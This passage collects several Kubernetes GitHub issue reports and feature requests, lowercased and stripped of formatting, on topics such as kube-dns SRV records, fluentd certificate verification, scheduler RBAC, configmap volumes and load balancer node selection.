},\r                 {\r                     \ key\ : \ kubernetes.io/created-for/pvc/namespace\ ,\r                     \ value\ : \ core\ \r                 }\r              ,\r             \ attachments\ :  \r                 {\r                     \ volumeid\ : \ vol-06a263cc5dbe35d74\ ,\r                     \ state\ : \ attached\ ,\r                     \ device\ : \ /dev/xvdba\ ,\r                     \ instanceid\ : \ i-0baea1a1746a216d7\ ,\r                     \ deleteontermination\ : false,\r                     \ attachtime\ : \ 2016-12-20t16:12:48.000z\ \r                 }\r              ,\r             \ snapshotid\ : \ \ ,\r             \ availabilityzone\ : \ eu-west-1c\ \r         }\r      \r }\r \r    \r

hi,\r i have a symfony based php application and it has a trusted proxy setting:\r http://symfony.com/doc/current/components/http_foundation/trusting_proxies.html\r \r which then works with x-forwarded- headers.\r \r since service is an umbrella for one or more pods matching set configured labels the ip address of the incoming request will be always different and so i cannot hard-code exact value.\r \r so i an wondering if there is a way to get the list of ip addresses matching the pods but in a way that does not slow down the connection/request? looking at the environment variables only the service is there but not matching pods and doing some sort of dns lookup or kubernetes api call would be very slow.\r \r currently i am just trusting that the incoming request came from my proxy since there is no way of connecting from outside directly, only via proxy service   so i am setting this value directly from remote_addr but it is basically bypassing the security measure altogether.

these kubelet flags:\r    \r \tfs.durationvar &s.minimumgcage.duration, \ minimum-container-ttl-duration\ , s.minimumgcage.duration, \ minimum age for a finished container before it is garbage collected.  examples: '300ms', '10s' or '2h45m'\  \r \tfs.markdeprecated \ minimum-container-ttl-duration\ , \ use --eviction-hard or --eviction-soft instead. will be removed in a future version.\  \r \tfs.int32var &s.maxperpodcontainercount, \ maximum-dead-containers-per-container\ , s.maxperpodcontainercount, \ maximum number of old instances to retain per container.  each container takes up some disk space.  default: 1.\  \r \tfs.markdeprecated \ maximum-dead-containers-per-container\ , \ use --eviction-hard or --eviction-soft instead. will be removed in a future version.\  \r \tfs.int32var &s.maxcontainercount, \ maximum-dead-containers\ , s.maxcontainercount, \ maximum number of old instances of containers to retain globally.  each container takes up some disk space. to disable, set to a negative number.  default: -1.\  \r \tfs.markdeprecated \ maximum-dead-containers\ , \ use --eviction-hard or --eviction-soft instead. will be removed in a future version.\  \r    \r are all marked deprecated, and have been since 1.4.\r \r but iirc,  --eviction-hard  and  --eviction-soft  only affect eviction of pods and image gc, not container gc. is the eviction manager also intended to trigger container gc? can these safely be removed? at a glance it looks like they are currently used to set up something that deletes dead containers out-of-band from the eviction manager.\r \r /cc @kubernetes/sig-node-misc @derekwaynecarr @dashpole @vishh

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r no\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r ---\r \r   is this a bug report or feature request?    choose one :\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r n/a\r \r   environment  :\r -   cloud provider or hardware configuration  :  n/a\r -   os    e.g. from /etc/os-release :  n/a\r -   kernel    e.g.  uname -a  : n/a\r -   install tools  : n/a\r -   others  : n/a\r \r \r   what happened  :\r \r the instruction at https://github.com/kubernetes/kubernetes/tree/master/examples/guestbook refers to  the image gcr.io/google-samples/gb-redisslave  hosted on gcr.io, but using the older docker v1 image format.\r \r both gcr.io and docker client will eventually stop supporting this image.  this need to be repushed using the docker v2 image format.\r \r   what you expected to happen  :\r gcr.io/google-samples/gb-redisslave needs to switch to using v2 format.\r \r   how to reproduce it    as minimally and precisely as possible :\r running \ docker pull gcr.io/google-samples/gb-redisslave\  should display all relevant warnings from docker cli client.\r \r   anything else do we need to know  :\r \r

what happened  :\r for some reason i need get srv records in kube-dns , below is what i got\r    \r  root@devo-ui-37mmn /   nslookup\r > set q=srv\r > devo-ui.dev.svc.cluster.local.\r server:     10.254.0.2\r address:    10.254.0.2 53\r \r devo-ui.dev.svc.cluster.local   service = 10 100 0 3339386563373339.devo-ui.dev.svc.cluster.local.\r > \r    \r host   devo-ui-37mmn   is one of my pod, the query string   devo-ui.dev.svc.cluster.local   is the service in kubernetes and   devo-ui-37mmn   is connect to the service.\r \r i need get the srv records in   devo-ui.dev.svc.cluster.local   , but i got   3339386563373339.devo-ui.dev.svc.cluster.local  . is this digital   3339386563373339   represent   devo-ui-37mmn  , and how do i get the normal srv records?\r \r   how to reproduce it  :\r create some pods and service , then do nslookup, it will show this.\r \r   environment  :\r - kubernetes: 1.6.8 / 1.7.4\r - kube-dns: k8s-dns-kube-dns-amd64:1.14.2\r                    k8s-dns-dnsmasq-nanny-amd64:1.14.2\r                    k8s-dns-sidecar-amd64:1.14.2\r \r   this is what i got with windows ad  \r    \r $ nslookup\r > set q=srv\r > _ldap._tcp.example.com\r server:\t\t10.110.200.19\r address:\t10.110.200.19 53\r \r _ldap._tcp.skyinno.com\tservice = 0 100 389 ad2.example.com.\r _ldap._tcp.skyinno.com\tservice = 0 100 389 ad1.example.com.\r > \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >  \r \r   what happened  :\r when i try to deploy the container from below link:\r https://hub.docker.com/r/tommylau/ocserv/\r \r  i failed to add two same ports on dashboard:\r 443:443\r 443:443/udp with this invalid protocol showed on dashboard\r \r   what you expected to happen  :\r when can i add two ports at the same time?\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :k8s on azure container service\r - kubernetes version  use  kubectl version  :1.6.6\r - cloud provider or hardware configuration  :azure container service\r - os  e.g. from /etc/os-release : ubuntu\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

https://github.com/kubernetes/kubernetes/tree/master/examples/\r is now at\r https://github.com/kubernetes/examples/ and has been there for many months.\r \r however we're still seeing maintainers accept prs to the  examples/  directory.  these prs should be sent to the new repo instead.\r \r can someone help us set up some sort of ci test that prevent prs that change  examples/  from getting merged?\r \r we intend to copy the recent commits in the  examples/  to the new repo and delete the  examples/  directory for good.  we haven't done it so far mostly because we don't want to break people without proper notice. \r \r 

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r @kubernetes/sig-scalability\r    is this a bug report or feature request?  :\r > kind bug\r \r   what happened  : we created 20 node cluster on aws ec2 where we created auto-scaling groups for the nodes and deployed 50 pods with bare minimum resources . we manually terminated  18 of the vms from aws to check the high availability. but most of the pods were unavailable. \r \r   what you expected to happen  :\r as 2 nodes were available, we expected that all the pods will be re-shuffled to the two existing nodes for the time being where aws creates new vm's and once those becomes available, then again the pods will be reshuffled as per the availability.\r \r   how to reproduce it  as minimally and precisely as possible   :\r create 20 node cluster in aws and assign auto scaling groups to them.\r deploy good number  say 50  pods with bare minimum resources\r from ec2 console terminate 18 nodes and check the pods status using kubectl\r \r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.8.5\r - cloud provider or hardware configuration: aws\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.5\ , gitcommit:\ cce11c6a185279d037023e02ac5249e14daa22bf\ , gittreestate:\ clean\ , builddate:\ 2017-12-07t16:05:18z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r

see issue  6079 as the roll-up for node upgrades.  this extension smartly evacuates nodes before they are downed to be upgraded. here's a strawman mechanism: 1. make the node unschedulable so no more pods are placed on it 2. remove any pods running on the node 3. remove any storage mounted on the node  or, will these be automatically moved when pods are moved?  4. kill the node

what happened  :\r \r following  49570 i am having a similar issues, running kubernetes v1.12.3 with the fluentd-addon, with it trying to get kubernetes metadata from the cluster's api-server ip.  i am using fluentd v1.3.0  latest at the time of this , and latest kubernetes.\r \r and my org has a ca that i have the pub-key deployed on all my master/minion nodes, as well as had it signed the cert that the cluster uses when i bootstrapped the cluster. \r \r when the fluentd pods start up, they exit with this error:\r    \r 2018-11-29 18:18:45 +0000  error : config error file=\ /etc/fluent/fluent.conf\  error_class=fluent::configerror error=\ invalid kubernetes api v1 endpoint https://10.12.12.1:443/api: ssl_connect returned=1 errno=0 state=error: certificate verify failed\ \r    \r which would suggest the certs are not \ lining up\ .  \r \r   what you expected to happen  :\r well, this situation doesn't seem to make sense since poking around _inside the pod_ i see the tls cert being returned when connecting to the api server ip: \r \r <details>\r <summary>the s_client-provided cert information of the api server within the pod</summary>\r \r    \r root@bash-5465db66d7-btqm5:~  openssl s_client -connect 10.12.12.1:443 2>&1 </dev/null | openssl x509 -text -noout\r certificate:\r     data:\r         version: 3  0x2 \r         serial number: 4324063523466593868  0x3c0228dd5e73464c \r     signature algorithm: sha256withrsaencryption\r         issuer: c = uk, l = london, o = company ltd, ou = infrastructure, cn = k8s-lab.company.corp, emailaddress = infrastructure@company.com\r         validity\r             not before: nov 29 17:10:41 2018 gmt\r             not after : nov 29 17:57:34 2019 gmt\r         subject: cn = kube-apiserver\r         subject public key info:\r             public key algorithm: rsaencryption\r                 public-key:  2048 bit \r                 modulus:\r                     00:be:1a:8d:76:8b:de:11:82:a7:ac:39:e2:3c:a1:\r  ...snip... \r                     27:fb\r                 exponent: 65537  0x10001 \r         x509v3 extensions:\r             x509v3 key usage: critical\r                 digital signature, key encipherment\r             x509v3 extended key usage:\r                 tls web server authentication\r             x509v3 authority key identifier:\r                 keyid:a3:0c:e3:05:47:d5:13:5b:0f:77:3f:26:b8:9c:67:7d:4c:7d:66:4a\r \r             x509v3 subject alternative name:\r                 dns:k8lab2bs, dns:kubernetes, dns:kubernetes.default, dns:kubernetes.default.svc, dns:kubernetes.default.svc.k8s-lab.company.corp, dns:api-k8s-lab, dns:api-k8s-lab, ip address:10.12.12.1, ip address:10.12.100.132\r     signature algorithm: sha256withrsaencryption\r          5b:29:a7:8c:be:3c:28:83:c6:2a:f8:18:ce:b3:ad:ad:96:0d:\r \r     signature algorithm: sha256withrsaencryption\r          5b:29:a7:8c:be:3c:28:83:c6:2a:f8:18:ce:b3:ad:ad:96:0d:\r  ...snip... \r          b0:2c:d0:78\r    \r </details>\r \r and comparing it to the /run/secrets/kubernetes.io/serviceaccount/ca.crt:\r \r \r <details>\r <summary>x509 info from the service-account provided ca.crt</summary>\r \r    \r root@bash-5465db66d7-btqm5:~  openssl x509 -text -noout -in /run/secrets/kubernetes.io/serviceaccount/ca.crt\r certificate:\r     data:\r         version: 3  0x2 \r         serial number:\r             4c:00:00:00:c8:7c:5f:b5:24:b7:54:8a:8e:00:00:00:00:00:c8\r     signature algorithm: sha512withrsaencryption\r         issuer: dc = corp, dc = company, cn = company-corp-ca1\r         validity\r             not before: nov 29 17:10:41 2018 gmt\r             not after : nov 29 17:20:41 2020 gmt\r         subject: c = uk, l = london, o = company ltd, ou = infrastructure, cn = k8s-lab.company.corp, emailaddress = infrastructure@company.com\r         subject public key info:\r             public key algorithm: rsaencryption\r                 public-key:  2048 bit \r                 modulus:\r                     00:9a:80:70:92:a2:d8:37:cb:98:a1:1f:b1:48:1e:\r  ...snip... \r                     40:71\r                 exponent: 65537  0x10001 \r         x509v3 extensions:\r             x509v3 key usage: critical\r                 digital signature, certificate sign, crl sign\r             1.3.6.1.4.1.311.20.2:\r                 .\r .s.u.b.c.a\r             x509v3 subject key identifier:\r                 a3:0c:e3:05:47:d5:13:5b:0f:77:3f:26:b8:9c:67:7d:4c:7d:66:4a\r             x509v3 authority key identifier:\r                 keyid:86:b5:4e:2b:bd:34:ae:52:0b:42:13:d6:ea:d4:58:00:f5:49:ae:3a\r \r             x509v3 crl distribution points:\r \r                 full name:\r                   uri:ldap:///cn=company-corp-ca1,cn=sec1bs,cn=cdp,cn=public%20key%20services,cn=services,cn=configuration,dc=company,dc=corp?certificaterevocationlist?base?objectclass=crldistributionpoint\r \r             authority information access:\r                 ca issuers - uri:ldap:///cn=company-corp-ca1,cn=aia,cn=public%20key%20services,cn=services,cn=configuration,dc=company,dc=corp?cacertificate?base?objectclass=certificationauthority\r \r             x509v3 basic constraints: critical\r                 ca:true\r     signature algorithm: sha512withrsaencryption\r          0b:e0:5f:14:c0:19:94:0b:97:e4:4c:f6:2c:5a:3c:81:7a:f1:\r  ...snip... \r    \r \r </details>\r \r so the api server's issuer line: \r \r    \r         issuer: c = uk, l = london, o = company ltd, ou = infrastructure, cn = k8s-lab.company.corp, emailaddress = infrastructure@company.com\r    \r \r actually   matches   the ca provided: \r \r    \r         subject: c = uk, l = london, o = company ltd, ou = infrastructure, cn = k8s-lab.company.corp, emailaddress = infrastructure@company.com\r    \r \r  i also tried to specify _ca_file_ pointing to /run/secrets/kubernetes.io/serviceaccount/ca.crt, but only if i set _ssl_verify_ to false will the pods start up :- \r \r it's strange that when i used to build the cluster where it generated self-signed certificates there were no such issues, when trying to do pki  properly , i run into errors :-/\r \r   how to reproduce it  as minimally and precisely as possible   :\r provide yoru own ca.crt and ca.key in /etc/kubernetes/pki before running kubeadm init on the cluster\r \r   anything else we need to know?  :\r followed the ha using kubeadm directions on kubernetes's docs site\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.12.3\r - cloud provider or hardware configuration: linux kvm \ baremetal\ \r - os  e.g. from /etc/os-release : centos7\r - kernel  e.g.  uname -a  : 3.10.0-862.9.1.el7.x86_64\r - install tools: kubeadm\r \r <!-- do not edit below this line -->\r 

users of the  waitfor  function would expect the close of the \ done\  channel should terminate the  waitfor  https://github.com/kubernetes/kubernetes/blob/master/staging/src/k8s.io/apimachinery/pkg/util/wait/wait.go l385 . we should change the function to align to users' expectation.\r \r we should document what the  done  channel does.\r \r this is a behavior change, to be cautious, we should add a release note claiming breaking change.\r \r 

what happened  :\r \r panic: failed to find flag in global flagset  flag : cloud-provider-gce-lb-src-cidrs\r \r goroutine 1  running :\r k8s.io/component-base/cli/globalflag.register 0xc0000ba900, 0x17df195, 0x1f \r \t/home/neil/go/pkg/mod/k8s.io/component-base@v0.0.0-20190405092941-79a63e28c077/cli/globalflag/globalflags.go:66 +0x1a9\r k8s.io/kubernetes/cmd/cloud-controller-manager/app.newcloudcontrollermanagercommand 0xc00008e150 \r \t/home/neil/go/pkg/mod/k8s.io/kubernetes@v1.14.0/cmd/cloud-controller-manager/app/controllermanager.go:91 +0x438\r main.main  \r \t/home/neil/dev/brightbox-cloud-controller-manager/main.go:39 +0x90\r \r   what you expected to happen  :\r \r the controller should run and stop with a '--cloud-provider cannot be empty' message\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r follow the out of tree instructions here https://kubernetes.io/docs/tasks/administer-cluster/developing-cloud-controller-manager/\r \r comment out the _ \ k8s.io/kubernetes/pkg/cloudprovider/providers\  import line and build the cloud-controller-manager\r \r   anything else we need to know?  :\r \r this worked fine prior to 1.14.0 \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r lient version: version.info{major:\ 1\ , minor:\ 14\ , gitversion:\ v1.14.0\ , gitcommit:\ 641856db18352033a0d96dbc99153fa3b27298e5\ , gittreestate:\ clean\ , builddate:\ 2019-03-25t15:53:57z\ , goversion:\ go1.12.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 14\ , gitversion:\ v1.14.0\ , gitcommit:\ 641856db18352033a0d96dbc99153fa3b27298e5\ , gittreestate:\ clean\ , builddate:\ 2019-03-25t15:45:25z\ , goversion:\ go1.12.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - cloud provider or hardware configuration:\r brightbox\r - os  e.g:  cat /etc/os-release  :\r ubuntu 18.04.2 lts\r - kernel  e.g.  uname -a  :\r linux bionic-vm 4.15.0-47-generic  50-ubuntu smp wed mar 13 10:44:52 utc 2019 x86_64 x86_64 x86_64 gnu/linu\r - install tools:\r kubeadm\r - others:\r \r

we have a kubernetes 1.2 cluster where our apiserver keeps getting oomkilled every day or two. this is a pretty small cluster  4 nodes , and we're not sure why it only happens on this cluster. memory usage constantly grows from less than 100mb at start to over 2gb when it will get oomkilled  the box has 4gb total ram . restarting apiserver resets its memory usage to less than 100mb.  we have another medium cluster  12 nodes with lots of traffic  where apiserver memory usage is very stable, staying at around 700mb usage. edit: this cluster got oomkilled as well, the memory growth was just much slower. takes a few weeks.  i've attached pprof files for both. it seems most of the space usage is in the ugorji json decoder, followed by the etcd cache.   @balooo was also looking at this with me.    memoryleak-pprof.inuse_objects.inuse_space.pb.gz  https://github.com/kubernetes/kubernetes/files/183911/memoryleak-pprof.inuse_objects.inuse_space.pb.gz   normal-pprof.inuse_objects.inuse_space.pb.gz  https://github.com/kubernetes/kubernetes/files/183912/normal-pprof.inuse_objects.inuse_space.pb.gz

is this a request for help?   no    what keywords did you search in kubernetes issues before filing this one?    federation dns federation aws federation aws cname  ---    is this a bug report or feature request?    choose one : bug report    kubernetes version    use  kubectl version  :  v1.4.4    environment  : -   cloud provider or hardware configuration  :   gce for federation control plane   aws for cluster1  federated    gce for cluster2  federated  -   os    e.g. from /etc/os-release :   name=\ debian gnu/linux\    version_id=\ 7\    version=\ 7  wheezy \  -   kernel    e.g.  uname -a  :   3.16.0-4-amd64  1 smp debian 3.16.7-ckt25-2  2016-04-08  x86_64 gnu/linux -   install tools  : -   others  :    what happened  : federation controller creates the appropriate a entries for all federated services on google clouddns, including resolving aws load balancer dns name to ips. but as ip changes for aws lbs, the a records get outdated, causing service disruption as they become out of sync.    what you expected to happen  : i expected the federation controller to either add a cname pointing to aws lb, or to keep the ips for aws in sync overtime.    how to reproduce it    as minimally and precisely as possible : - deploy a federation control plane at gce - create cluster at aws - add aws cluster to federation - create a federated service - wait 24h  or until aws load balancer ips change  - cloud dns will be pointing to different ips than aws lb.      anything else do we need to know  : aws recommends: - because the set of ip addresses associated with a loadbalancer can change over time, you should never create an \ a\  record with any specific ip address.

these messages are meant for human consumption, not programmatic testing. this is causing issues in the 1.5 release upgrade tests and should be fixed. the fix will have to be cherry picked into 1.4 and 1.3 as well.\r \r see\r \r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gce-1.4-1.5-upgrade-cluster/3\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gke-gci-1.3-container_vm-1.5-upgrade-cluster/13\r \r cc @kargakis @janetkuo \r

failed: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-release-1.5/911/  run so broken it didn't make junit output!

i'm trying to use the  loadbalancer  type on a service and discovered that it couldn't be created because - to my surprise - it's not using the correct aws subnet meant for resources in that particular cluster. my current setup is that we use 1 vpc for all of our clusters and break each service cluster out into different subnets. so this particular k8s cluster is on one subnet while another  smaller  cluster is on a smaller subnet causing kubernetes to complain that there aren't enough free ip's in that subnet.\r \r i had read somewhere that kubernetes will randomly choose a subnet inside of the current vpc as long as it's public. but ec2 instances definitely give you the subnet they're attached to by hitting  http://169.254.169.254/latest/meta-data/network/interfaces/macs/<some-mac>/subnet-id  so why not just use that value if it's public?\r \r   kubernetes version    use  kubectl version  :\r    go\r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.1+82450d0\ , gitcommit:\ 82450d03cb057bab0950214ef122b67c83fb11df\ , gittreestate:\ not a git tree\ , builddate:\ 2016-12-14t04:09:31z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.6+coreos.0\ , gitcommit:\ ec2b52fabadf824a42b66b6729fe4cff2c62af8c\ , gittreestate:\ clean\ , builddate:\ 2016-11-14t19:42:00z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r -   cloud provider  : aws\r -   os    e.g. from /etc/os-release : coreos 1235.2.0

i am new to k8s... \r \r i am trying to follow the sample here:\r https://github.com/kubernetes/kubernetes/tree/master/examples/mysql-wordpress-pd\r \r have modified very little and my pods just crash, they never get to a ready state.\r \r i think maybe because after i create my new volumes i need to format them.\r so i think i need to follow the steps that i finally found here:\r http://dev.eventyay.com/docs/installation/gce-kubernetes/\r \r in the section titled: \r create and format a persistent data disk for postgres\r \r is that correct?\r \r it would be great to add that to the readme as this caused me to waste a lot of time.  if that is not the problem, what do these errors tell you:\r http://screencast-o-matic.com/screenshots/u/foby/1488862496393-59906.png\r \r thanks,\r patrick

this is a feature request to add support in podpreset for injecting containers and init containers.\r \r usecase: as a cluster admin, i need the ability to to inject an init container and a proxy sidecar container into a pod, to enable istio microservices mesh functionality:\r https://github.com/istio/istio\r \r kubernetes/features 162\r kubernetes/community 254\r kubernetes/community 132\r \r \r \r

there have been a number of issues/prs to adjust the service controller's behavior with respect to the nodes it selects to add to a loadbalancer.  many of these issues have focused on keeping the masters out of the load balancers which was an important first step.  however, there are other use cases that are still not met with the current functionality.\r \r current issues:\r   clusters with varying node sizes will route traffic through a node with less resources  i.e. network bandwidth, cpu, and/or memory  to instances that have more resources.  this can cause significant impact to user facing applications.  the only workaround is to run multiple clusters to handle differing workloads.\r   even clusters with the same node types could have varying workloads.  it would not make sense to route customer facing web traffic through worker nodes that might have large batch processing jobs that consume all of the node's resources.  again this could cause an undesirable impact to higher  flows.\r   finally from a security standpoint it is good practice to isolate traffic for a set of pods away from nodes that aren't schedulable for these pods in the first place.\r \r functional requirements:\r   services should only add nodes to load balancers that are schedulable by the pods the service fronts.  conversely, traffic should never be routed through nodes that the service's pods are not able to be scheduled on.\r      if a deployment has one replica with a node selector that matches three nodes the service would route the traffic through all three nodes even though there is only going to be a single node with the pod.  there is no need to try to sync the load balancer's nodes to the actual placements of pods.\r   node maintenance should have similar impact to services and pods\r      when a node is cordoned it should not be included in load balancers for new services\r      when a node is drained it should remove that node from all existing load balancers\r \r approach:\r   add a \ load balancer node selector\  to services like we have for deployments to determine the nodes that should be used for load balancers.  it will be up to the user to make sure the service's node selector makes sense compared to the pods it fronts\r   automatically select nodes based on the service's pod node selectors.  it would be the union of all nodes the pods can be scheduled on.

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r \r download 1.7.5 source tarball from the release page, place it in $gopath/src/k8s.io/kubernetes\r    \r % go install k8s.io/kubernetes/cmd/hyperkube\r   k8s.io/kubernetes/cmd/kube-apiserver/app\r cmd/kube-apiserver/app/server.go:357:70: undefined: \ k8s.io/kubernetes/pkg/generated/openapi\ .getopenapidefinitions\r   k8s.io/kubernetes/federation/cmd/federation-apiserver/app\r federation/cmd/federation-apiserver/app/server.go:221:70: undefined: \ k8s.io/kubernetes/pkg/generated/openapi\ .getopenapidefinitions\r    \r   what you expected to happen  :\r \r successful build, $gopath/bin/hyperkube built\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r see above\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r 1.7.5\r \r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r \r ubuntu 16.04\r \r - kernel  e.g.  uname -a  :\r \r linux lucky 4.4.0-93-generic  116-ubuntu smp fri aug 11 21:17:51 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r

\r   is this a bug report or feature request?  :\r  \r   what happened  :\r set conntrack_max and conntrack_max_per_core both to zero.\r \r   what you expected to happen  :\r expected kube-proxy to leave settings for conntrack alone, but kube-proxy attempts to change hashsize and fails  see below .\r \r the api indicates that these both could be set to zero to ignore them:\r \r https://github.com/kubernetes/kubernetes/blob/master/cmd/kube-proxy/app/server.go l153-l157\r \r however, there is default logic, that, if both are zero, sets conntrack_max_per_core to a default value and that causes the hashsize change:\r \r https://github.com/kubernetes/kubernetes/blob/master/pkg/apis/componentconfig/v1alpha1/defaults.go l83-l87\r \r   how to reproduce it  as minimally and precisely as possible   :\r check that host has conntrack max set to a value that is more than 4x hashsize, and then try to start kube-proxy with both conntrack max and max per core set to zero on the command line. you can use kubeadm-dind-cluster project to start cluster with these settings. it will fail to bring up kube-proxy  see below .\r \r   anything else we need to know?  :\r running under docker-in-docker  so kube-master is a container .\r \r have a system with max=1m and hashsize=64k, so kube-proxy wants to increase hashsize. \r \r because of https://github.com/kubernetes/kubernetes/issues/25543 issuecomment-282503251\r  the hashsize cannot be saved and kube-proxy fails. in short, the filesystem is marked as r/w, but one cannot write a new hashsize setting.\r \r \r   environment  :.\r - kubernetes version  use  kubectl version  : latest on master\r - cloud provider or hardware configuration  : bare-metal, using kubeadm-dind-cluster to bring up 3 node cluster on one host using nested docker.\r - os  e.g. from /etc/os-release : ubuntu 16.04\r - kernel  e.g.  uname -a  :\r linux bxb-c2-78 4.4.0-93-generic  116-ubuntu smp fri aug 11 21:17:51 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r - install tools: using kubeadm-dind-cluster project\r - others: host with large conntrack max setting  e.g. 1m \r

is this a bug report or feature request?  :\r  \r   what happened  :\r when starting the  kube-scheduler  with version 1.9.1 and the  persistentlocalvolumes  and  volumescheduling  feature gates it tries to list/get/watch storage classes, but the rbac bootstrap clusterrole  system:kube-scheduler  does not contain these privileges.\r following, the scheduler cannot start:\r    \r i0108 10:26:27.006404       1 server.go:551  version: v1.9.1\r i0108 10:26:27.006814       1 factory.go:837  creating scheduler from algorithm provider 'defaultprovider'\r i0108 10:26:27.006834       1 factory.go:898  creating scheduler with fit predicates 'map novolumezoneconflict:{} maxazurediskvolumecount:{} matchinterpodaffinity:{} generalpredicates:{} checknodememorypressure:{} podtoleratesnodetaints:{} checkvolumebinding:{} maxebsvolumecount:{} maxgcepdvolumecount:{} nodiskconflict:{} checknodediskpressure:{} checknodecondition:{} ' and  'map nodepreferavoidpodspriority:{} nodeaffinitypriority:{} tainttolerationpriority:{} selectorspreadpriority:{} interpodaffinitypriority:{} leastrequestedpriority:{} balancedresourceallocation:{} '\r i0108 10:26:27.007121       1 server.go:570  starting healthz server on 0.0.0.0:10251\r e0108 10:26:27.054334       1 reflector.go:205  k8s.io/kubernetes/vendor/k8s.io/client-go/informers/factory.go:86: failed to list  v1.storageclass: storageclasses.storage.k8s.io is forbidden: user \ system:kube-scheduler\  cannot list storageclasses.storage.k8s.io at the cluster scope\r    \r \r   what you expected to happen  :\r the  bootstrap rule for  kube-scheduler   https://github.com/kubernetes/kubernetes/blob/master/plugin/pkg/auth/authorizer/rbac/bootstrappolicy/policy.go l405-l429  contains privileges to read  storageclasses , so that the scheduler can start properly.\r \r   how to reproduce it  as minimally and precisely as possible   :\r start a  kube-apiserver  and a  kube-scheduler  as follows:  /hyperkube scheduler --config=/var/lib/kube-scheduler-config/config.yaml --feature-gates=persistentlocalvolumes=true,volumescheduling=true --v=2  where  config.yaml  looks like:\r    yaml\r apiversion: componentconfig/v1alpha1\r kind: kubeschedulerconfiguration\r clientconnection:\r   kubeconfig: /var/lib/kube-scheduler/kubeconfig\r leaderelection:\r   leaderelect: true\r    \r \r   anything else we need to know?  :\r after modifying the  system:kube-scheduler  clusterrole by granting  get ,  list ,  watch  verbs on apigroup  storage.k8s.io  for resources  storageclasses  it started successfully.\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.9.1\r - cloud provider or hardware configuration: aws\r - os  e.g. from /etc/os-release : coreos

is this a bug report or feature request?  :\r \r  \r   what happened  :\r can't mount configmap as folder, the folder is empty, no error messages.\r \r   what you expected to happen  :\r each file in the configmap should be files in the folder\r \r   how to reproduce it  as minimally and precisely as possible   :\r using kubernetes own examples on google kubernetes engine\r https://kubernetes-v1-4.github.io/docs/user-guide/configmap/\r configmaps can also be consumed in volumes. returning again to our example configmap:\r \r    \r apiversion: v1\r kind: configmap\r metadata:\r   name: special-config\r   namespace: default\r data:\r   special.how: very\r   special.type: charm\r    \r \r we have a couple different options for consuming this configmap in a volume. the most basic way is to populate the volume with files where the key is the filename and the content of the file is the value of the key:\r \r    \r apiversion: v1\r kind: pod\r metadata:\r   name: dapi-test-pod\r spec:\r   containers:\r     - name: test-container\r       image: gcr.io/google_containers/busybox\r       command:   \ /bin/sh\ , \ cat /etc/config/special.how\   \r       volumemounts:\r       - name: config-volume\r         mountpath: /etc/config\r   volumes:\r     - name: config-volume\r       configmap:\r         name: special-config\r   restartpolicy: never\r    \r \r in this example, /etc/config does not exist and the container does not echo \ very\ . \r \r i was trying somewhat different when i noticed this issue and started to look for the solution. the main difference is that i'm creating the configmap --from-file instead of key-values in the example but both kubernetes example and my own pod definition behaves the same.  \r \r > kubectl create configmap config-files --from-file=/tmp/config-files\r \r it simply don't populate the folder with files.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.8.5-gke.0\r - cloud provider or hardware configuration: google kubernetes engine\r - os  e.g. from /etc/os-release : ubuntu 16.04.3\r - kernel  e.g.  uname -a  : linux gke-k8s-engine-default-pool-650ecd7a-lxsb 4.4.0-1027-gke  27-ubuntu smp thu aug 10 13:13:08 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r - others:\r

